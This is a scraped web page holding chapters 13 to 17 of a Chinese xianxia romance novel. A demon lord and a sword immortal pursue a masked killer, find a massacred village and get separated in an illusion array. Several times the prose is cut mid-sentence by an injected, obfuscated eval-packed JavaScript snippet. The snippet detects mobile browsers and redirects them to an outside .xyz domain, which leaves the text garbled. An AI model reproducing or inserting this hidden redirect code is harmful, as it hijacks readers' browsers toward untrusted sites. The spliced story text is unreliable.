“你服药的时候不也没感觉吗?相信我,你真的已经好了,要不信你等天亮试试自己会不会死,不就知道了?”封烛没给他再质疑的机会,摆手打发他,“好了褚二公子,你爹可还生死未卜呢,不快去找人,还在磨蹭什么?” 褚元丰将信将疑,看了看封烛,又看了看萧无雪,似乎仍有怀疑,但最终没敢说什么,心事重重地离开了。 男子的身影消失在树林中,封烛这才笑着回过头来,重新望向萧无雪。 萧无雪视若无睹,抬步往前走。 却被封烛伸手一拦。 “阿霁,我给你的糖呢?”他慢悠悠问。 萧无雪面容平静:“丢了。” “真的吗?”封烛眼底笑意更深,故意拖长了话音,“可我怎么觉得你在撒谎……” 萧无雪不想与他多言,转身打算绕过他。 封烛再次逼近上来,萧无雪想也不想一掌拍去,被对方抬手格挡。 二人飞快过了几招,萧无雪一时不察,被人擒住手腕,用力压在了山道旁的树下。 “阿霁,你与我说实话,糖到底去哪儿了?”封烛笑着问他,“是不是被你吃了?” 萧无雪:“是又如何?” “不如何。”封烛神情颇有几分得意,“我就知道,你嗜甜得很,肯定忍不住……小孩似的。” 萧无雪:“……” 封烛观察着他脸上细微的神情,了然般点点头:“那就是吃了。” 他追问:“好吃吗?” 萧无雪还是不答。 积雪覆盖的崖上寂静无声,月色下,两人的身影几乎重叠。 这么近的距离,封烛炙热的体温毫无保留地传递到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782151|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧无雪身上,呼吸近在咫尺。 萧无雪偏过头,神情有些不自在:“你先放开我。” “不放。”封烛执着道,“告诉我,到底好不好吃,你喜不喜欢?” 萧无雪:“……你为何那么在意。” “我当然在意了。”封烛道,“那可是我特意给你做的,你知道在魔域那种不见日光,不长草木的地方,学做这玩意有多不容易吗?” 萧无雪一怔。 魔域,的确是寸草不生的。 那里不见日光,浊气弥漫,凡间一切植物都不可能在魔域生存,魔族也并不以凡人的食物为生。 他怎么会…… 封烛继续追问:“所以呢,到底好不好吃?” 对方目光灼灼,萧无雪垂下眼,半晌,才轻轻应道:“……嗯。” 封烛心满意足笑起来。 他松了手,帮萧无雪整了整揉乱的衣衫:“喜欢就好,下次再给你做。” 萧无雪低声道:“……也没有很喜欢。” 封烛道:“那下次做点别的。” 寒风卷起细雪,在静谧无声的夜里轻轻一撞。 萧无雪眸光闪动,掩饰般转过身:“正事要紧,该走了。” . 此地群山绵延,在山中搜寻无异于大海捞针。 萧无雪与封烛沿着山道下了山,不知不觉接近了那座村落。 雕刻剑纹的玉符静静漂浮在二人身边,封烛打了个哈欠,百无聊赖道:“你这玉符到底能不能行,一点反应都没有,看起来根本没用啊。” “玉符本就只能在一定范围内感知目标踪迹,谁让你不能把范围再缩小一些。”萧无雪瞥他一眼,淡淡道,“你先前寻我的时候不是那么精准吗,怎么在褚家家主身上就不管用了?” 封烛一愣,反应出乎意料的激烈:“那能一样吗?!” 萧无雪眉梢微扬。 两人短暂对视一眼,封烛恍然:“你在试探我。” 萧无雪:“……” “你果然还是很好奇我是怎么找到你的,对吧?”封烛道,“好奇就直说,其实也不是什么不能说的秘密,不过……” 他古怪地停顿一下,似笑非笑朝萧无雪看去:“阿霁,你这么聪明,要不再猜一猜?” 又来了。 又是这般暧昧不明的态度。 萧无雪实在不能理解一个追踪法术有什么值得如此神秘,他莫名有些恼火,冷冷扭过了头:“……无聊。” 他不想再理会封烛,脚下生风,快步朝前掠去。 男人满含笑意的呼唤声很快被甩在了身后,萧无雪一直走到树林边缘,方才停下脚步。 再往前便是积雪覆盖的田野,古朴的村落在月色下安宁而和平。 但似乎……太安静了。 萧无雪眉宇微蹙,隐约察觉到了什么,正欲抬步向前。 变故在这一瞬间发生。 林间骤然掀起阴邪寒风,一道黑影自身后御风而来,手中重剑朝萧无雪迎头劈下! 这一剑几乎带着雷霆万钧之力,萧无雪头也不抬,轻巧一个侧身,剑身紧贴着他的面门落下,在地上劈出一道深深的沟壑。 剑气在林间荡开,激起尘土无数。 萧无雪抬眸,看清了袭击者的模样。 黑衣,鬼面,满身邪气。 悬浮在他身旁的玉符忽然剧烈地跳动起来。 14.第 14 章 萧无雪在玉符中施加了追踪法术,只要在附近感知到了褚家家主的气息,便会有所反应。 所以,眼前这人是…… 萧无雪眉宇蹙起,鬼面人招式未停,双手以极其强悍的力道拔出重剑,反手朝萧无雪挥去。 那是毫不犹豫的果决杀意,不等萧无雪出手应对,又一道黑影忽然闪身上前。封烛一手揽过他的腰身,一手从虚空抽出细长仙剑,横剑一挡。 剑身相击发出锐响。 封烛这一剑同样没有使用任何内息,几乎瞬间便感觉执剑的右手传来剧痛。然而,对方并无收剑的意图,竟就着这两剑相抵之势,硬生生将二人逼退数步。 重剑剑身邪气大涨,那阴邪之气弥漫上来,本就光芒暗淡的细长仙剑在重压下发出脆弱的低鸣。 封烛脸色一变,纵身踢出一脚,顺势撤了剑。 鬼面人力量强悍至极,修为深不可测,却被封烛这一脚踢得倒飞出去。 萧无雪顿觉不妙,忙道:“别让他跑了!” 可惜已经来不及了。 鬼面人借力纵身后掠,毫不恋战,很快消失在了黑暗中。 封烛搂着萧无雪缓缓落地。 下一秒,就被人重重推了一把。 封烛被他推得踉跄一下,不满道:“这么凶做什么,我还不是为了救你?” “谁要你救!”萧无雪比他还要不满,“你可知道他是谁?” 封烛:“知道啊,褚令修嘛,闻出来了。” 萧无雪被他这事不关己的态度气得想打人:“知道你还放跑他?” 封烛张了张口,气势终于弱了下去:“……我又不是故意的。” 他低头看向手中的佩剑,银白长剑在方才的一击之下受到重创,光芒似乎比先前还要黯淡,剑身轻微颤抖着。 萧无雪跟着看过去,一愣:“你的手……” 封烛右手持剑,鲜血顺着手臂流淌下来,染红了剑柄。 虽不知褚令修为何会变作那副打扮,又为何会忽然袭击他们,但见他方才那异状,显然是服用了噬魂丹,提升后的修为至少在化神以上。 封烛不用半分内力,以肉身硬生生抗下那一剑,若换做其他修士,恐怕早已经脉尽碎而亡。 饶是如此,他也被剑气震伤了手臂。 萧无雪心头的不悦莫名淡去几分,伸手想施法帮他医治,却被封烛拦住:“不用。” 他在手臂、胸口各点了几处穴位,转了转手腕,鲜血霎时涌得更快。 腥甜血液滑过剑身,原本灵力枯竭的长剑竟好似苏醒一般,泛起一丝异样的光芒。它贪婪地吸食着蕴含强大力量的魔族之血,剑身重新凝聚灵力,恢复了几分生息。 直到涌出的鲜血被吸收殆尽,封烛方才翻转手腕,将剑平举身前。 “没事了,你看。”他笑着说。 这诡异一幕看得萧无雪心下巨震,直到这时才找回自己的声音:“你在干什么?” 他大声斥问:“你竟然以血养剑?!” 萧无雪身为剑修,与剑有关之事,他是再了解不过的。 剑乃百兵之君,以其刚柔并济,灵动矫捷为优势。剑修素来不以力量为长,更注重对剑的灵力提升。 宝剑养护需要天材地宝,所用之物力量越强,剑的灵力也会随之增强。 而以血养剑,就是在剑修中也不常见。 并非血液的力量不够强,恰恰相反,剑主的血液其实是剑最好的食粮之一。 那以血养剑之法,吸的是精血,耗是剑主的生命之源,这世上没有任何一种天材地宝比得上此物珍贵。而更棘手的是,此法一旦开始便不能停止,剑会不断吸收剑主的灵力、精血,如同无底洞一般,乃至每次使用都是消耗。 修为稍弱的,甚至可能被自己的剑活活吸干。 不到万不得已,没有人愿意走到那一步。 “你是疯了吗?”萧无雪难得有些失态,“你以为你有多少血可以供它吸食,你如此供养它多久了,你要这样养出一把邪剑吗?!” 相识至今,封烛恐怕还是头一回见萧无雪这么生气。他愣了下,连忙哄道:“别生气,别生气,我也是没办法……你知道的,魔域那地方哪里找得到什么养剑的灵材,这不是方便吗?” 萧无雪气急:“就因为这理由?” “这理由还不够?”封烛道,“这把剑的生息在百年就断了,我要是不想想办法,它不就毁了吗?” “一把剑哪有那么重要,你到底——” 萧无雪话音陡然一滞。 他的视线落在剑上,沿着纤细的剑身向上,在那剑柄下方,刻着令他无比熟悉的字迹。 一把剑对封烛来说的确是不重要的。 哪怕他现在学会了几招剑术,他最擅长的,应当还是魔族功法。 他本没有理由,用这么沉重的代价去养护一把剑。 萧无雪犹豫着开口:“你……” 封烛凑到萧无雪跟前,不正经道:“这可是你送我的定情信物,当然不能让它就这么毁了。” 萧无雪:“……” “说到这里,我还没来得及问。” 他抬眼看向萧无雪,眸光温和,带着几分不难察觉的试探与期冀:“阿霁,你的剑呢?” 封烛手中这把剑,并非孤剑。 那是萧无雪在百年前偶然得到的一对孪生对剑,剑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786745|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用了同一块寒铁锻造,一名承影,一名含光。 萧无雪虽有本命剑凌云,但他身为剑修,数百年来对剑情有独钟,收藏了许多宝剑。 承影与含光,便是他的藏剑之一。 百年前,他与封烛同游人间,也曾有路遇险境之时。 魔族的御敌之法特殊,封烛不愿暴露自己魔族的身份,又嫌赤手空拳多有不便,于是提出想要一把武器防身,还能顺道掩饰身份。 那时的封烛其实根本没学过什么剑术,不过是见萧无雪使剑好看,便坚持也要买剑。然而,魔族少主眼光挑剔,拉着萧无雪前后去了不下十个铸剑铺,挑挑拣拣好几天,也没挑中一个趁手的。 萧无雪被他缠得没办法,只得打开自己的武器库,挑了一把极其罕见的极品仙剑赠予他。 就是这把承影剑。 “你说这孪生对剑本为一体,双剑合并力量大增,双剑敌对,则两败俱伤,乃至一同崩毁……” 年轻魔族兴致盎然地把玩着刚得到的佩剑,笑容一如既往地漫不经心:“这不是挺有意思的吗?只要这剑一日不毁,我便一日不会背叛你,省得你成天怀疑我别有用心。” 萧无雪自幼受正统仙门教诲,深知“非我族类,其心必异”的道理,在最初与封烛相识时,他的确是带着警惕与怀疑的。 赠他这把承影剑,实际是暗含了试探之意。 封烛自然也能看出来。 可就算如此,封烛仍然欣然接受了这把承影剑,让宝剑认了主,还逼他把本命剑收起,陪他用了好几个月含光剑。 孪生对剑同为一心时,力量将呈百倍增长。 那段时日,二人仗剑江湖,除妖诛邪,无人能敌。 持对剑者情同手足,永不为敌。 那是封烛给他的承诺。 “……阿霁?阿霁!”耳畔的呼唤声将萧无雪从回忆中抽离出来,他抬眼看向面前的人,神情难得有些怔然。 封烛狐疑地眯起眼睛:“怎么这副表情,你不会又要说你忘了吧?” 他震怒:“你这爱剑如命的性子,就算忘了自己叫什么,也不可能忘了自己的剑,别想用这种理由打发我!” “……你的含光剑呢?” 萧无雪神情动摇:“我……” 是啊,他怎么可能忘呢? 他爱剑如命,武器库内数十把藏剑,每一把他都能喊出名字,每一把,他都会定期寻来天材地宝养护。 可是为什么…… 为什么这百年间,他没有一次想起过含光剑。 承影与含光当初一同认主,封烛的承影剑尚在身边,那他的剑呢? 他的含光剑……去了哪里? 15.第 15 章 萧无雪想不起来。 失忆是他为了脱离仙盟,以及摆脱自己那两位师兄纠缠编出的谎言,他很确定自己并无任何记忆缺失。无论是过去与封烛的相遇,还是两人决裂后的这百年间发生的种种,他都记得很清楚,并无任何空白。 唯一有所缺漏的,或许就是百年前极乐城一战之后的几个月。 当初极乐城那一战,被仙盟有意宣扬成萧无雪的全胜,可实际并非如此。 百年前,萧无雪与封烛修为势均力敌,最终大战的结果,说是萧无雪险胜都略显偏驳。 准确来讲,那场决斗应当算是两败俱伤。 重伤使得萧无雪卧床不起,很长一段时间都浑浑噩噩,记忆也非常混乱。 而在那之后,战事结束,仙盟初建,有许多事都需要他定夺。重伤初愈的他,不得不立即忙碌于处理各类事务,等一切步入正轨,已经过去了许多年。 以至于……根本不曾想起那把只用过短短半年的含光剑。 不仅是百年间不曾想起,哪怕今日提起,他也丝毫想不起来那把剑究竟被他遗落在了何处。 他……是真的忘了。 “抱歉。”萧无雪嗓音艰涩,“我……我想不起来……” 重逢至今,类似的话他对封烛说过很多次,但几乎都是毫不走心的谎言。 这是第一次,他如此难以开口。 萧无雪也说不清自己究竟是个什么感觉,好像后知后觉做了一件绝对不该做的错事,就连话音都带上了几分茫然无措:“含光剑,现在不在我的身边,我也不知道它在哪里……但……” 他视线垂下,重新望向封烛手中的长剑。 承影与含光,这对孪生剑在鼎盛时期的威力并不输给他的凌云剑。可如今,失去孪生兄弟的它,力量耗尽,生息断绝,靠着剑主的精血滋养,才勉强维持剑身不毁。 承影剑尚且如此,那含光呢? 他的含光剑,这百年间不曾受到任何灵材的养护,它……会不会早已断裂崩毁,在某个被他遗忘的角落,静静化为了灰烬。 萧无雪心口有些发闷,他闭了闭眼,轻声重复:“……抱歉。” 封烛没有回答。 他皱眉望向萧无雪,模样不像生气,反倒像是有些困惑。 半晌,他缓缓问出了自己的疑问:“为何道歉?” 萧无雪一怔。 封烛问他:“你忘了那么多事,为何独独为了这件事道歉?” “我……” 是啊,他为何要道歉。 含光剑本就是他的藏剑之一,就算被他忘了、毁了,也不过是失去了一件宝物,或许会有遗憾,但又何来歉疚? 更何况,承影与含光联系如此紧密,就算那把剑还在,他也绝不可能再用。 那明明……只是一把无用的佩剑。 萧无雪思绪混乱,内心仿佛被一种不知名的情绪充斥着,就连心口都莫名泛起酸楚。他不想再被这种情绪左右,勉强定了定心神:“只是随口一说罢了,这不是看你为了养剑犯傻,怕你又发疯。” 他竭力维持着语调冷静,睫羽轻轻颤动,轮廓分明的侧脸被微弱剑光映得有些苍白。 封烛定定注视着他,眉宇间犹疑更甚:“你到底……” 他话未说完,远处忽然传来一声惊呼。 那声音听着像是与他们同行的褚家弟子,萧无雪脸色一变,当即就想向那声音来源赶去。 可刚一转身,又被封烛拉住了。 “……正事要紧。”萧无雪没有回头,声音带着几分不自然,“等这件事结束之后……” 封烛轻声打断:“等这件事结束之后,能与我说实话吗?” “……” 那一声惊呼之后,周遭重新变得寂静无声,封烛一动不动攥着萧无雪的手腕,仿佛握住了一块纤细脆弱的寒冰。 许久,萧无雪闭上眼,轻轻点了点头。 . 声音是从村落方向传来的,眼下尚未天亮,村庄被笼罩在一片夜色当中,格外静谧。萧无雪与封烛快步穿过积雪覆盖的田野,很快来到了村口。 村口有一座高大的槐树,槐树之下,倒着两个人。 那两人俱是褚家弟子打扮,双目圆睁,神情惊恐,已经断绝了呼吸。 “……是重剑所伤,一剑毙命。”封烛弯腰检查了两人的伤势,悠悠道,“下手可真狠啊……” 萧无雪没有回答,抬眼望向村落方向,神情微微沉下。 封烛问:“怎么?” “你没有感觉到吗?”萧无雪沉声道,“没有生人气息。” 此地多半是被人施过什么法术,使外来者很难察觉出异样。直到此刻靠近村落,萧无雪才感觉出来,这村子里分明没有任何活人的气息。 萧无雪快步往村中走去,推开离村口最近的一户屋舍大门,院子里伏着两大一小三具尸身,血早已流尽,冰冷的尸骨几乎完全被积雪覆盖。 熟悉的气息紧随其后,封烛诧异道:“这怎么……” “也是重剑所伤。”萧无雪道。 他转头去检查了其他屋舍,但情况同样如此。此地的村民早已毙命,无论男女老少,无一例外,全都死于重剑。 “居然屠村……”目睹这般惨烈的景象,封烛态度并无任何同情,反倒啧啧称奇,“这得是多大的仇?” 萧无雪看他一眼,摇摇头:“没有理由。” 那手持重剑的鬼面人应当就是褚令修没有错,可无论是将此地的村民屠杀殆尽,还是袭击萧无雪与其他褚家弟子,都太奇怪了。 他没有理由要这么做。 而且…… “褚令修戴那鬼面,与当初在无尽渊袭击你的人是一样的吗?”封烛问他。 萧无雪:“是。” “那事情就很有意思了啊……”封烛摩挲着下巴,“难不成褚令修一直在骗他两个儿子,实际他才是这一切的幕后元凶?可他老对你动手做什么,总不能是你得罪过人家,像对我一样,把人家始乱终弃了吧?” 萧无雪面无表情看向他。 “开个玩笑而已,不许瞪我。”封烛不满道,“堂堂仙盟首座,怎的这般小气?” 萧无雪:“那又如何?” “不如何。”封烛哄他,“就喜欢你这坏脾气,可爱得很。” 萧无雪:“……” 再让萧无雪修习百年,他可能也没办法对付封烛这张嘴。 他果断不再与对方多言,转身就走。 此地有掩盖气息的法术,但那重剑方才杀了人,沾了血,气息比以往浓郁许多。萧无雪循着痕迹穿过村落,很快来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798626|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片空地。 空地上,几名褚家弟子的尸身横陈其间,一道清丽的背影半蹲在地,正俯身检查着尸身。 察觉有人靠近,他回过头来,连忙单膝落地行礼:“尊上……仙尊。” 是离棠。 少年魔族模样乖巧温顺,若非知晓他的身份,真会以为他只是个普通的民间少年。 褚元丰不知少年身具修为,他们此番前来调查,原本是没有带上少年的。不过出于封烛的吩咐,少年一直在暗中跟随。 封烛问:“怎么回事?” “褚家弟子方才在此地被人袭击,来人修为极强,但在对上褚元丰时不知为何忽然停了手,然后……”离棠犹豫一下,抬手指向一个方向,“褚元丰追着对方进山了。” 萧无雪抬眼看去,林间一条羊肠小道蜿蜒进山,山中不知何时起了雾,青灰色的雾气弥漫在山岭间,分外诡异。 褚家弟子手中都有萧无雪的玉符,在他们遇袭时,一定也能发现那鬼面人的真实身份。 褚元丰多半便是发现了此事,才会追赶上去。 萧无雪当即就想进山,却被封烛抬手一拦:“等等。” 他望向山中那愈发浓郁的雾气,悠悠道:“怎么看都像是陷阱啊……你真要去?” 萧无雪道:“褚令修或许掌握着关键线索,不能让他跑了。” “道理是这个道理,但……” 萧无雪回过头来。 两人对视片刻,封烛无奈似的:“知道了,知道了,别这么看我……成天撒娇。” 萧无雪:“……” 谁对他撒娇了! 萧无雪懒得再理会他,却听封烛悠悠唤道:“离棠。” 离棠:“尊上。” 封烛命令:“看看褚元丰去了哪里,带路。” 离棠:“是。” 少年听命起身,略微思索片刻,抬步往山中走去。 萧无雪蹙眉看向他的背影,心头忽然浮现起一丝极其微妙的感觉。但不及他想明白那丝微妙来自何处,封烛已经走上前来,揽住他的肩膀。 “走吧,仙尊。”封烛揽着他一道往前走,悠悠道,“这山中看来被人动了手脚,不知会不会走散。若遇到危险,记得唤我名字,夫君一定来救你。” 萧无雪淡声道:“你还是好好顾着自己吧。” 封烛“噢”了声,又问:“那我若遇到危险,你能来救我吗?” 堂堂北域魔尊,若真能被这区区迷幻阵困住,修真界就不会忌惮魔族数百年了。 萧无雪抬眼,本想回怼一句,却恰好对上了封烛的视线。 封烛正望着他。 依旧是那副漫不经心的笑颜,英俊的眉眼在月色下分外温柔。 这么近的距离,封烛这张脸其实是很有冲击力的。哪怕萧无雪从不在意旁人的外表皮相,也不得不承认,封烛的确生了一副极其出众的容颜。 他看得失神,忽然忘了自己原本想说什么,仓促移开视线:“若这世上真有人能让你吃亏,我一定亲自上门拜会,与他较量一番。” 不等对方回应,萧无雪已经挣开他的怀抱,往前快走几步,追上了离棠。 “……是会给我报仇的意思?”封烛留在原地琢磨了一会儿,无奈笑起来,“这别扭劲到底什么时候能改改……” 16.第 16 章 三人进山时,山中雾气刚起,尚不影响视物。但随着三人渐渐深入,那雾气变得愈发浓郁,很快便到了伸手不见五指的地步。 可就在这般视物困难的境地下,那名为离棠的魔族少年却好似成竹在胸,带着萧无雪和封烛快步穿行在林间。 就仿佛……冥冥中受到了某种指引。 萧无雪不自觉压低了眉梢。 进入浓雾之后,他的感应力受到影响更大,就连三人如今这么近的距离,彼此气息都若隐若现,难以分辨。 他尚且如此,封烛和离棠应当也不会好到哪里去。 离棠怎么能确定褚元丰在哪里? 萧无雪心中犹疑,下意识回头想朝封烛看一眼。 眸光却骤然一缩。 他的身后……竟然空无一人。 封烛原本是跟在他身后的。 那人走路很不老实,总爱凑上来与萧无雪挤到一块,肩膀挨着肩膀,仿佛患上了什么不与人肢体接触就浑身难受的恶疾。被萧无雪推开几回才安分了些,但还是会时不时伸出手来,替萧无雪扫去挡路的杂草与枝杈。 活脱脱将萧无雪当成个弱不禁风,连走路都要小心照顾的矜贵少爷。 萧无雪被他腻得心烦,好一阵没搭理他。 可就算这样,他也能感觉到封烛的气息就跟在他身后。 不远不近,默默跟随。 至少在他回头前都是如此。 萧无雪在原地怔愣一下,才后知后觉发现,走在他前方的离棠也不见了踪影。 迷雾笼罩的树林中,不知何时只剩下他一人。 这其实不算什么。 将同伴分散,是阵法秘境最常用的手段之一。 萧无雪修行数百年,各式各样的阵法秘境不知闯过多少次,事实上,这世上应当不会有什么迷阵是他和封烛绝对应付不了的。 只是时间问题。 并没有什么好担心的。 萧无雪无声地舒了口气,心道他莫非真是被封烛给洗脑了,把对方当做了自己的道侣,看见人没跟在身后,竟然真有一瞬间担忧。 那可是北域魔尊,如今的修为多半还在他之上,哪里会在这里出事。 而且,就算出事又怎么样? 北域魔族当初做过多少伤天害理的事,如今封烛偷偷来到人间,还不知究竟意欲何为。若真能让他在这里吃亏,放弃行事安分回到魔窟,反倒是件好事。 有什么可担心的。 萧无雪在心头这般告诉自己,不再胡思乱想,继续朝前走去。 越往山中走,树林便越发葱郁茂密,树荫与雾气隐天蔽日,叫人难分昼夜。 不知过去多久,萧无雪身后陡然传来一丝异动。 他灵巧侧身一避,一道黑影紧贴着他身侧掠过,扬起阴邪的冷风。与此同时,数道黑影自四面八方涌现,瞬间将他包围其中。 那黑影没有形体,非人非妖,仿佛只是一团凝聚的黑雾。 黑雾聚集在萧无雪身旁,没再继续袭击他,反倒开始变幻起形状。 时而化作妖兽,时而化作人形,黑雾反复飘散又凝聚,竟好似陷入了某种诡异的混乱之中。 萧无雪凝神看着,渐渐明白这是什么了。 足够强大的迷阵能够读取人心,恐惧、憎恶、贪欲、爱恨,一切与人类情感有关之物皆能成为它的武器。读取人心,利用人心,这是最难对付的一种迷阵。 但那是对于其他人而言。 萧无雪敛下眼,修长的睫羽垂下,藏起一丝略带讽刺的笑意。接着,他左手轻轻一抬,一串黑檀佛珠在腕间缓缓显形。 清净道脱胎于佛门,修的便是无我无心,无欲无求。 入道的第一件事,就是要抛下那些无用的情感。 既已抛下,迷阵自然无从探查,难怪会失去目标。 萧无雪念诵咒诀,指尖掐出一道法印,轻声道:“破。” 泛着浅金色光芒的气劲以他为圆心荡开,尚未凝聚的黑雾瞬间被那光芒击溃,四散无形。 萧无雪睁开眼,正欲继续往前走,脚步却是一顿。 他眸光沉下,眼睁睁看着那刚被打散的黑雾重新凝聚起来,似乎终于在漫长的窥视中找到了答案,缓缓幻化出了实体。 高大英俊的男人脸上带着熟悉的微笑,遥遥朝他望来。 是封烛。 . 剑影寒光在茂密的林间荡开。 萧无雪手持长剑,振袖一挥,剑气搅动着寒风飞旋而上,将眼前的人生生击退数丈。高大的身影倒飞出去,粗壮的古树被那力道拦腰撞断,轰然倒塌,扬起尘土无数。 萧无雪足尖轻点,借力飞身上前,手中长剑凝聚万千寒光,直直刺入那烟尘深处。 只听“铮”的一声。 一双漆黑利爪从烟尘中伸出,紧紧攥住了细长的剑锋。 “封烛”的模样已与他平日截然不同。 细密的魔鳞爬上他的脖颈、侧脸,双瞳幻化为极其深邃的竖瞳,眼底红光乍现,带着令人不寒而栗的残虐微笑。 “……阿霁,你要杀了我吗?”他轻声问,“就如百年前那样,想置我于死地吗?” 萧无雪面沉如水,就连冰冷的眸光也没有丝毫变化。凌云剑依剑主心意而动,剑身寒光大涨,凌厉剑气瞬间搅碎了对方的衣袖。 后者被迫松手,下一刻,剑光直逼身前。 由迷阵幻化而来的封烛,并无本人真正的魔息,不会牵动萧无雪的旧伤。但在幻象的加持下,对方的修为身手并不比本尊低多少。 二人转眼又过了数十招。 噗嗤——! “封烛”神情一滞,他不可置信般低下头,看见了刺穿自己心口的剑锋。 那是真正的封烛旧伤所在的位置,是魔族的根基所在。 那是带着明确杀意的,致命的一剑。 致命伤击溃了黑雾的幻象,男人高大的身影摇摇欲坠,身体逐渐变得模糊。萧无雪干脆利落收了剑,滚烫的鲜血喷溅在他冰冷苍白的脸上,对方踉跄一下,单膝落地。 但“他”依旧抬头注视着萧无雪,英俊的脸上带着残忍而阴邪的笑意。 “阿霁,这就是你的选择吗?” “苦修百年,独行于世,这就是你想要的吗?” “萧无雪,你真可怜……” 萧无雪垂眸注视着身形已消散大半的男人,视线冰冷,面若寒霜。 但若有旁人在场便会发觉,以剑术独步天下的凌云仙尊,此刻持剑的手竟在轻微地发着抖。 他无声地闭了眼,旋即展剑一挥,凌然剑气瞬间将那残余的黑雾击溃。 林间重新恢复寂静,方圆数丈之内,十余棵参天古树颓然倒地,凌乱的杂草皆被搅得粉碎,彰显着此地刚刚经历了何等激烈的打斗。 “咳咳——咳咳咳!”萧无雪单膝落地,长剑刺入地面,低头闷声咳嗽起来。 他咳得肩膀颤动,脊背深深弯折下去,很快便在口中尝到了血腥之气。 旧伤牵扯着肺腑传来剧痛,但除此之外,似乎有另一种不知从何而来,令人难以忍受的激烈情绪郁结于胸,无从发泄。萧无雪剧烈喘息,颤抖着抬起手,下意识碰了碰脸颊旁被鲜血溅染的地方。 幻象消失后,那血迹也跟着消失了。 没有抉择,没有杀戮,没有你死我活的决斗。 是假的。 ……都是假的。 不过是幻象造成的假象。 萧无雪深深吸气,撑着剑踉跄站起身来。 本命剑化作一道银光没入虚空,萧无雪抬起手,轻轻抚上腕间的黑檀佛珠。 冰冷的佛珠泛起浅金色光芒,法器强大的力量瞬间笼罩全身,强行抚平了躁动不安的心绪。 就在此时,身后远处忽然传来脚步声。 萧无雪眸光一抬,一道无形剑气凌然出鞘,划破虚空,直逼对方面门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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离棠“啊”了声,解释道:“不算是最终烙印,就是一个短时标记,随时可以消除的。魔族烙印是很多魔族用来豢养禁脔的东西,要在交合时特地施法才行……我没兴趣养那玩意,三天两头发情,多缠人啊。” 萧无雪:“……” 萧无雪没说话,离棠还当他是对自己的行为不满,又连忙道:“我不是故意用他采补的,尊上本意是让我找个借口与他同行,但姓褚的自己要扑上来,不能怪我没把持住吧……” 他小声道:“那可是正道修士的童子之身,平时都遇不到的……” 萧无雪又默然片刻,都不知该先惊叹于少年竟能顶着这般纯情无辜的容颜,说出这种惊世骇俗的话,还是惊讶于褚元丰那纨绔子弟,竟然还是童子之身。 不过他倒是听说过,魔族重欲,极擅双修采补之法,可令修行事半功倍。 魔族本是非人之物,自然不受人间道德约束。 他对此不做评判,又继续问:“标记之后,便能寻得对方所在?” “对。”离棠似乎压根没把这件事当做秘密,坦诚道,“我们魔族对自己认定的伴侣占有欲很强,所以才会搞出这玩意,想时时刻刻感知伴侣的所在吧。不过我倒觉得没什么用,谁会把睡过一两次的人当伴侣,不都是为了修炼吗?” “这次若不是奉命而来,我才不会给那姓褚的标记呢。” 萧无雪迟疑:“所以,标记的方式……” 离棠:“就是上床啊,睡过就可以,睡得越多感应越强。” 萧无雪:“……” 好不容易平复的心绪又开始混乱起来,没等他再说什么,忽然听得后方传来熟悉的嗓音。 “阿霁,原来你在这里,可让我好找!”封烛从浓雾深处走出来,神情倒看不出丝毫走散的焦急,反倒气定神闲,“还好我有‘独特’的追踪之法。” 萧无雪:“…………” 17.第 17 章 萧无雪注视着那熟悉的身影由远及近,眉宇微蹙而神情复杂,仿佛是头一次认识他。 封烛当即察觉他情绪不对,忙问:“怎么了?” 萧无雪张了张口,想说什么,但又立刻止住。 不可能。 定是他多想了。 与封烛同行那半年,虽然因为时间过去太久,种种细节他已记不太清,但…… 他和封烛不过萍水相逢,就算有过那么点交情,说到底也不过是普通的君子之交,绝对没有过……任何逾矩的行为。 多半只是巧合罢了。 不对,应当不仅只是巧合。 魔族秘法万千,封烛又贵为魔尊,他定然有许多花招可以追踪旁人的踪迹。可他将态度故意表现得如此暧昧不明,说不准就是故意想误导他,引他误会,惹他出丑。 一定是这样。 萧无雪说服了自己,心头一股无名火起,冷冷瞪了封烛一眼。 封烛:“……?” “找人要紧。”萧无雪收回目光,冷声道,“带路。” 他这话是对离棠说的。 少年眨了眨眼,先看了看萧无雪,又看了看封烛,可那两人一个偏头望向远方,一个眼也不转地盯着对方,根本没有要分一个眼神给他的意思。 离棠默默转过身,继续往前走去。 